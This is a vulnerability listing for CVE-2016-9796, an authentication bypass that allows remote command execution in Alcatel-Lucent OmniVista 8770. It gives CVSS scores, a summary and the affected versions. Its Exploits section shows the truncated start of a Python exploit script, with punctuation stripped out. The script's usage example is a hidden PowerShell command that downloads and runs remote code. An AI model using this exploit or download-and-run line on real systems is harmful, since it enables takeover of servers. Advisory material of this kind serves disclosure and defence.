9.8
CVSSv3

CVE-2016-9796

Published: 03/12/2016 Updated: 03/09/2017
CVSS v2 Base Score: 10 | Impact Score: 10 | Exploitability Score: 10
CVSS v3 Base Score: 9.8 | Impact Score: 5.9 | Exploitability Score: 3.9
VMScore: 1000
Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

Alcatel-Lucent OmniVista 8770 2.0 up to and including 3.0 exposes different ORBs interfaces, which can be queried using the GIOP protocol on TCP port 30024. An attacker can bypass authentication, and OmniVista invokes methods (AddJobSet, AddJob, and ExecuteNow) that can be used to run arbitrary commands on the server, with the privilege of NT AUTHORITY\SYSTEM on the server. NOTE: The discoverer states "The vendor position is to refer to the technical guidelines of the product security deployment to mitigate this issue, which means applying proper firewall rules to prevent unauthorised clients to connect to the OmniVista server."

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alcatel-lucent omnivista 8770 network management system 3.0

alcatel-lucent omnivista 8770 network management system 2.0

alcatel-lucent omnivista 8770 network management system 2.6

Exploits

import socket import time import sys import os # ref blogmalerischnet/ # Omnivista Alcatel-Lucent running on Windows Server if len(sysargv) < 2: print "Usage: %s <target> <command>" % sysargv[0] print "eg: %s 1921681246 \"powershellexe -nop -w hidden -c \$g=new-object netwebclient;IEX \$gdownloadstring('h ...